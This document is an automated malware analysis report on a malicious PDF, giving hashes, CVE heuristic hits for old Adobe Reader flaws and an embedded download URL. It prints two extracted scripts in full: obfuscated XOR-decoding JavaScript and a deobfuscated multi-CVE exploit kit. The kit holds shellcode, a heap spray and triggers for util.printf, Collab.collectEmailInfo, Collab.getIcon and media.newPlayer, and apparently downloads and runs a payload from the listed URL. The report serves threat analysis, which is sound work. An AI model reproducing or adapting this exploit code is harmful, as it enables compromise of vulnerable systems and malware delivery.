Malicious PDF — malware analysis report

Static analysis result for SHA-256 ed7f43c8e5c43e1a…

MALICIOUS

PDF

13.7 KB Created: 2010-03-20 06:46:51 Authoring application: Vecavaytabaf (via Miuitivmide) First seen: 2012-07-12
MD5: c769b62d8d6b2fc2c739e490a8ec50bb SHA-1: 7b3dc5f593b82971b5465ba2015a178f7467a69c SHA-256: ed7f43c8e5c43e1a72c58252fc33ec7a7b65f0779407a76790e1560411ee424e
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with high confidence. It contains embedded JavaScript, indicating an attempt to execute code. While the specific JavaScript content is not detailed here, its presence strongly suggests a malicious intent, such as downloading further malware or exploiting a vulnerability. The file's SHA256 hash is provided as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://domain453001.com/ctvczn6/load.php?spl=pdf_2020 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0022_000.js pdf-javascript-stream PDF /JS object 22 at offset 0x304A 2178 bytes
SHA-256: d0086801914360c9562692fd54232653b3246ebc45b9c890cc55e254beabe54e
Preview script
First 1,000 lines of the extracted script
var editD		=		this		;				var mail		=		[		"a"		,		"e"		,		"l"		,		"v"		,		""		];		edit		=		new		 String		(		mail		[		1		]		+		mail		[		3		]		+		mail		[		0		]		+		mail		[		2		]		+		mail		[		4		]		)		;				var adobe		=		[		"Word"		,		"getPa"		,		"geNth"		,		""		];		a		=		new		 String		(		adobe		[		1		]		+		adobe		[		2		]		+		adobe		[		0		]		+		adobe		[		3		]		)		;				var unlock		=		[		"rds"		,		"eNu"		,		"mWo"		,		"Pag"		,		""		,		"get"		];		google		=		new		 String		(		unlock		[		5		]		+		unlock		[		3		]		+		unlock		[		1		]		+		unlock		[		2		]		+		unlock		[		0		]		+		unlock		[		4		]		)		;				var mailAdobe		=		[		"n"		,		"e"		,		"e"		,		"s"		,		"c"		,		""		,		"a"		,		"u"		,		"p"		];		googleMail		=		new		 String		(		mailAdobe		[		7		]		+		mailAdobe		[		0		]		+		mailAdobe		[		1		]		+		mailAdobe		[		3		]		+		mailAdobe		[		4		]		+		mailAdobe		[		6		]		+		mailAdobe		[		8		]		+		mailAdobe		[		1		]		+		mailAdobe		[		5		]		)		;				var get		=		[		"deA"		,		"cha"		,		"t"		,		"rCo"		,		""		];		c		=		new		 String		(		get		[		1		]		+		get		[		3		]		+		get		[		0		]		+		get		[		2		]		+		get		[		4		]		)		;				var d		=		[		"harCo"		,		"fromC"		,		"de"		,		""		];		dGet		=		new		 String		(		d		[		1		]		+		d		[		0		]		+		d		[		2		]		+		d		[		3		]		)		;				var cEdit		=		[		"p"		,		""		,		"a"		,		"p"		];		cA		=		new		 String		(		cEdit		[		2		]		+		cEdit		[		0		]		+		cEdit		[		0		]		+		cEdit		[		1		]		)		;						var		 cUnlock		=		String("%")		;		var		 getB		=		2		;		var		 bGoogle		=		String		;		var		 getMail		=		0		;		var		 unlockA		=		200		;		var		 cA		=		editD		[		cA		]		;		var		 editAdobe		=		3		;		var		 bEdit		=		editD		[		googleMail		]		;		var		 mailMail		=		editD		[		google		]		(		editAdobe		)		;		var		 getGoogle		=		""		;				for		(		var		 getA		=		getMail		;		getA		<		mailMail		;		getA		+=		1		)		{				bD=editD		[		a		]		(		editAdobe		,		getA		)		;		var		 send		=		bD		.		substr		(		bD		.		length		-		getB		,		getB		)		;		var		 sendGoogle		=		bEdit		(		cUnlock		+		send		)		;		var		 mailB		=		sendGoogle		[		c		]		(		getMail		)		;		var		 cEditA		=		mailB		^		unlockA		;		getGoogle		+=		bGoogle		[		dGet		]		(		cEditA		)		;		}		this		[		edit		]		(		getGoogle		)		;
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3555 bytes
SHA-256: a384174d3ce358fd120d7019e801ce5ad145759a51463008cda381d796a25f61
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/* getPageWords download URL: http://domain453001.com/ctvczn6/load.php?spl=pdf_2020  */
var _u="http://domain453001.com/ctvczn6/load.php?spl=pdf_2020 ";
c b % c       &  & & &      &f %7 7&%f  % f   7 %& 7 f  s
	var src_table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/.:_-?&=%";
	var dest_table= "xa83V5OJ&Enl0Hpq-tNybkeYZ%cSAMTj7KFXBoI_rC6DL=0hwGdfu4Rvg:1zQsmiP2/9?W.U";
var hwTl9Dn = new Array();  

function get_shellcode(name) {

	var u = get_url();
	var s = "%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455";
	s+= u;
	return unescape(s);
}


function get_url(){ 
	var str = this.info.author;
	var ret = encode_str(str, dest_table, src_table);

	return ret;
};


function encode_str(str, src_table, dest_table){

	var ret="";
	for(var i=0; i < str.length; i++)
	{
		var index = src_table.indexOf(str[i]);
		if(index > -1 )
		{
			ret += dest_table[index];
		}
	}

	return ret;
};


function Rq4v1qCC(PDrScZj4, ez5pL6){    

	while (PDrScZj4.length * 2 < ez5pL6){      
		PDrScZj4 += PDrScZj4;    
	}    

	PDrScZj4 = PDrScZj4.substring(0, ez5pL6 / 2);    return PDrScZj4;  
}  

function x8EvTm(I7T0vko5){  

	var qPBt7D = 0x0c0c0c0c;        

	NRjjR6W6 = get_shellcode("pdf");

	if (I7T0vko5 == 1){qPBt7D = 0x30303030;}

	var FeQq1Vv = 0x400000;   
	var tsSzSc = NRjjR6W6.length * 2;    var ez5pL6 = FeQq1Vv - (tsSzSc + 0x38);    
	var PDrScZj4 = unescape("%u9090%u9090");    

	PDrScZj4 = Rq4v1qCC(PDrScZj4, ez5pL6);    

	var x62RaBM3 = (qPBt7D - 0x400000) / FeQq1Vv;    

	for (var Ojafoj = 0; Ojafoj < x62RaBM3; Ojafoj ++ ){    
		hwTl9Dn[Ojafoj] = PDrScZj4 + NRjjR6W6;    
	}
}  

function U2UcYKr(){   

var IyIFVe = app.viewerVersion.toString();          

	if (IyIFVe > 8)
	{
		x8EvTm(1);
		var iVvCdy8 = "12999999999999999999";          

		for (RvU5gmOE = 0; RvU5gmOE < 276; RvU5gmOE ++ )
		{
			iVvCdy8 += "8";   
		}

		util.printf("%45000f", iVvCdy8);      
	}


if (IyIFVe < 8){

	x8EvTm(0);    
	var UNXaCTHb = unescape("%u0c0c%u0c0c");    

	while (UNXaCTHb.length < 44952) UNXaCTHb += UNXaCTHb;    

	this .collabStore = Collab.collectEmailInfo({        subj : "", msg : UNXaCTHb});      
}       

if (IyIFVe < 9.1){

	if (app.doc.Collab.getIcon)
	{
		x8EvTm(0); 
        var eGREUTNw = unescape("%09");          
		while (eGREUTNw.length < 0x4000)eGREUTNw += eGREUTNw;

		eGREUTNw = "N." + eGREUTNw;    

		app.doc.Collab.getIcon(eGREUTNw);   
	}
}   
if (IyIFVe == 9.2){        
	x8EvTm(1);              
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());           
	try 
	{	
		media.newPlayer(null);              
	} catch(e) 
	{}
	util.printd("1.000000000.000000000.1337 : 3.13.37", new Date());
}

}

U2UcYKr();

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